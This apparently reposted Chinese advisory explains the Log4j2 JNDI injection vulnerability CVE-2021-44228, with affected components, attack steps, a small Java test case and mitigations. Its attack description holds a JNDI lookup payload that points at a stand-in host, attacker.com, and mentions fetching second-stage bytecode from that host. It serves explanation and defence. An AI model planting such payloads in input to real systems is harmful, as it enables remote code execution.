Log4j2安全 JNDI漏洞 CVE-2021-44228

Log4j2安全 JNDI漏洞 CVE-2021-44228,第1张

Log4j2安全 JNDI漏洞 CVE-2021-44228

 

Apache Log4j2是基于Java的日志记录工具。工具重写了Log4j框架,并且引入了大量丰富特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。因该组件使用极为广泛,利用门槛很低,危害极大,腾讯安全专家建议所有用户尽快升级到安全版本。

12 月 10 日,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,漏洞原理官方表述是:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词  ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行,据悉,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。已知受影响应用及组件:

  • Apache Solr
  • Apache Flink
  • Apache Druid
  • srping-boot-strater-log4j2

漏洞详细描述
  • 攻击者向漏洞服务器发起攻击请求。

  • 服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载${jndi:ldap://attacker.com/a},attacker.com是攻击者控制的地址。

  • 记录的恶意负载被触发,服务器通过JNDI向attacker.com请求。

  • attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class。

  • 攻击者执行恶意脚本。

例如

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test {
    private static final Logger LOGGER = LogManager.getLogger(Test.class);

    public static void main(String[] args) {
        String code = "${jndi:rmi://localhost:9001}";
        LOGGER.info(code);
    }
}

 执行日志处理时会lookup处理,lookups是一个Map集合,初始化了一组Key, 当消息内容种包含指定字符的时候,使用StrLookup对象执行lookup *** 作

 

 处理的时候调用 jndiManager执行字符串后边部分,例如 rmi://localhost:xxxx

 

修复方案

据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本, 建议升级log4j版本

临时方案

(1)修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
(2)修改配置 log4j2.formatMsgNoLookups=True
(3)将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

欢迎分享,转载请注明来源:内存溢出

原文地址: http://www.outofmemory.cn/zaji/5671191.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-16
下一篇 2022-12-16

发表评论

登录后才能评论

评论列表(0条)

保存